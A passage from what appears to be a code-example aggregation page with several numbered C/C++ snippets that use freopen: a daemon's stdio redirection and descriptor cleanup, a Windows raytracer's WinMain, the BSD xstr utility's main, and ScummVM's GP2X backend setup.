			if ((pid_stream=fopen(pgid_file, "w"))==NULL){
				LOG(L_WARN, "unable to create pgid file %s: %s\n",
					pgid_file, strerror(errno));
				goto error;
			}else{
				fprintf(pid_stream, "%i\n", (int)pid);
				fclose(pid_stream);
			}
		}else{
			LOG(L_WARN, "we don't have our own process so we won't save"
					" our pgid\n");
			unlink(pgid_file); /* just to be sure nobody will miss-use the old
								  value*/
		}
	}
	
	/* try to replace stdin, stdout & stderr with /dev/null */
	if (freopen("/dev/null", "r", stdin)==0){
		LOG(L_ERR, "unable to replace stdin with /dev/null: %s\n",
				strerror(errno));
		/* continue, leave it open */
	};
	if (freopen("/dev/null", "w", stdout)==0){
		LOG(L_ERR, "unable to replace stdout with /dev/null: %s\n",
				strerror(errno));
		/* continue, leave it open */
	};
	/* close stderr only if log_stderr=0 */
	if ((!log_stderr) &&(freopen("/dev/null", "w", stderr)==0)){
		LOG(L_ERR, "unable to replace stderr with /dev/null: %s\n",
				strerror(errno));
		/* continue, leave it open */
	};
	
	/* close any open file descriptors */
	closelog();
	for (r=3;r<MAX_FD; r++){
			close(r);
	}
	
	if (log_stderr==0)
		openlog(name, LOG_PID|LOG_CONS, log_facility);
		/* LOG_CONS, LOG_PERRROR ? */

	return  0;

error:
	return -1;
}
Beispiel #28
0
int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
{

	RECT rect;
	int cc;
	wc.style = CS_OWNDC | CS_VREDRAW | CS_HREDRAW;
	wc.lpfnWndProc = WndProc;
	wc.cbClsExtra = wc.cbWndExtra = 0;
	wc.hInstance = 0;
	wc.hIcon = NULL;
	wc.hCursor = LoadCursor(0,IDC_ARROW);
	wc.hbrBackground = NULL;
	wc.lpszMenuName = NULL;
	wc.lpszClassName = "raytracer";
	if (!RegisterClass(&wc)) return FALSE;
	rect.left = rect.top = 0;
	rect.right = SCRWIDTH, rect.bottom = SCRHEIGHT;
	AdjustWindowRect( &rect, WS_POPUP|WS_SYSMENU|WS_CAPTION, 0 );
	rect.right -= rect.left, rect.bottom -= rect.top;
	wnd = CreateWindowEx( 0, "raytracer", "raytracer", WS_OVERLAPPEDWINDOW & ~WS_MAXIMIZEBOX & ~WS_THICKFRAME,
		CW_USEDEFAULT, CW_USEDEFAULT, rect.right, rect.bottom, 0, 0, 0, 0 );
	ShowWindow(wnd,SW_NORMAL);
	for ( cc = 0; cc < sizeof( BITMAPINFOHEADER ) + 16; cc++ ) bitmapbuffer[cc] = 0;
	bh = (BITMAPINFO *)&bitmapbuffer;
	bh->bmiHeader.biSize = sizeof( BITMAPINFOHEADER );
	bh->bmiHeader.biPlanes = 1;
	bh->bmiHeader.biBitCount = 32;
	bh->bmiHeader.biCompression = BI_BITFIELDS;
	bh->bmiHeader.biWidth = SCRWIDTH, bh->bmiHeader.biHeight = -SCRHEIGHT;
	((unsigned long*)bh->bmiColors)[0] = 255 << 16;
	((unsigned long*)bh->bmiColors)[1] = 255 << 8;
	((unsigned long*)bh->bmiColors)[2] = 255;
	window_hdc = GetDC(wnd);
	SystemParametersInfo(SPI_SETSCREENSAVEACTIVE, 0, 0, 0);
	initConf(config);
	// prepare output canvas
	surface = new Surface(SCRWIDTH,SCRHEIGHT);
	buffer = surface->GetBuffer();
	surface->Clear(0);
	AllocConsole();   //Sortie Console
	freopen("CONOUT$","wb",stdout);


	clock_scene.begin(); // ---> start clock_scene

	// prepare renderer
	Scene* maScene = new Scene();
	maScene->chargerScene(config.filename);
	maScene->afficherScene();

	tracer = new Engine(config);
	tracer->SetScene(maScene);
	tracer->SetTarget(surface->GetBuffer(),SCRWIDTH, SCRHEIGHT );
	int tpos = 60;

	clock_scene.end(); // ---> end clock_scene		

	system("Pause");

	
		tracer->InitRender();
	clock_render.begin(); // ---> start clock_render
		tracer->Render(); //calcul de l'image
	clock_render.end(); // ---> end clock_render

	SaveImage("test.ppm",tracer->GetImage());
	
	SaveLogFile("Resultat.log",config);
	afficherClock();

	while (1)
	{
		DrawWindow();
	}

FreeConsole();  // Close the console window

	return 1;
}
Beispiel #29
0
int
main(int argc, char *argv[])
{
	int c;

	while ((c = getopt(argc, argv, "-cvl:")) != -1)
		switch (c) {
		case '-':
			readstd++;
			break;
		case 'c':
			cflg++;
			break;
		case 'v':
			vflg++;
			break;
		case 'l':
			array = optarg;
			break;
		default:
			usage();
		}
	argc -= optind;
	argv += optind;

	if (array == 0)
		array = "xstr";

	if (signal(SIGINT, SIG_IGN) == SIG_DFL)
		(void)signal(SIGINT, onintr);
	if (cflg || (argc == 0 && !readstd))
		inithash();
	else {
		int	fd;

		snprintf(stringtmpfile, sizeof(stringtmpfile),
		    "%s%s.XXXXXX", _PATH_TMP, "xstr");
		strings = stringtmpfile;
		fd = mkstemp(stringtmpfile);
		if (fd == -1)
			err(1, "mkstemp failed");
		close(fd);
	}
	while (readstd || argc > 0) {
		if (freopen("x.c", "w", stdout) == NULL)
			err(1, "Cannot open `%s'", "x.c");
		if (!readstd && freopen(argv[0], "r", stdin) == NULL)
			err(1, "Cannot open `%s'", argv[0]);
		process("x.c");
		if (readstd == 0)
			argc--, argv++;
		else
			readstd = 0;
	};
	flushsh();
	if (cflg == 0)
		xsdotc();
	if (strings[0] == '/')
		(void)unlink(strings);
	exit(0);
}
Beispiel #30
0
void OSystem_GP2X::initBackend() {
	// Setup default save path to be workingdir/saves
	char savePath[PATH_MAX + 1];
	char workDirName[PATH_MAX + 1];

	if (getcwd(workDirName, PATH_MAX) == NULL) {
		error("Could not obtain current working directory");
	} else {
		printf("Current working directory: %s\n", workDirName);
	}

	strcpy(savePath, workDirName);
	strcat(savePath, "/saves");
	printf("Current save directory: %s\n", savePath);
	struct stat sb;
	if (stat(savePath, &sb) == -1)
		if (errno == ENOENT) // Create the dir if it does not exist
			if (mkdir(savePath, 0755) != 0)
				warning("mkdir for '%s' failed", savePath);

	ConfMan.registerDefault("savepath", savePath);

	#ifdef DUMP_STDOUT
		// The GP2X has a serial console but most users do not use this so we
		// output all our STDOUT and STDERR to files for debug purposes.
		char STDOUT_FILE[PATH_MAX + 1];
		char STDERR_FILE[PATH_MAX + 1];

		strcpy(STDOUT_FILE, workDirName);
		strcpy(STDERR_FILE, workDirName);
		strcat(STDOUT_FILE, "/scummvm.stdout.txt");
		strcat(STDERR_FILE, "/scummvm.stderr.txt");

		/* Flush the output in case anything is queued */
		fclose(stdout);
		fclose(stderr);

		/* Redirect standard input and standard output */
		FILE *newfp = freopen(STDOUT_FILE, "w", stdout);
		if (newfp == NULL) {
		#if !defined(stdout)
			stdout = fopen(STDOUT_FILE, "w");
		#else
			newfp = fopen(STDOUT_FILE, "w");
			if (newfp) {
				*stdout = *newfp;
			}
		#endif
		}

		newfp = freopen(STDERR_FILE, "w", stderr);
		if (newfp == NULL) {
		#if !defined(stderr)
			stderr = fopen(STDERR_FILE, "w");
		#else
			newfp = fopen(STDERR_FILE, "w");
			if (newfp) {
				*stderr = *newfp;
			}
		#endif
		}

		setbuf(stderr, NULL);
		printf("%s\n", "Debug: STDOUT and STDERR redirected to text files.");
	#endif /* DUMP_STDOUT */

	// Setup other defaults.
	ConfMan.registerDefault("aspect_ratio", true);

	/* Up default volume values as we use a seperate system level volume anyway. */
	ConfMan.registerDefault("music_volume", 192);
	ConfMan.registerDefault("sfx_volume", 192);
	ConfMan.registerDefault("speech_volume", 192);
	ConfMan.registerDefault("autosave_period", 3 * 60);	// Trigger autosave every 3 minutes - On low batts 4 mins is about your warning time.

	ConfMan.setBool("FM_low_quality", true);

	/* Initialize any GP2X specific stuff we may want (Batt Status, scaler etc.) */
	GP2X_HW::deviceInit();

	/* Set Default hardware mixer volume to a preset level (VOLUME_INITIAL). This is done to 'reset' volume level if set by other apps. */
	GP2X_HW::mixerMoveVolume(0);

	// Create the events manager
	if (_eventSource == 0)
		_eventSource = new GP2XSdlEventSource();

	// Create the graphics manager
	if (_graphicsManager == 0)
		_graphicsManager = new GP2XSdlGraphicsManager(_eventSource);

	/* Pass to POSIX method to do the heavy lifting */
	OSystem_POSIX::initBackend();
}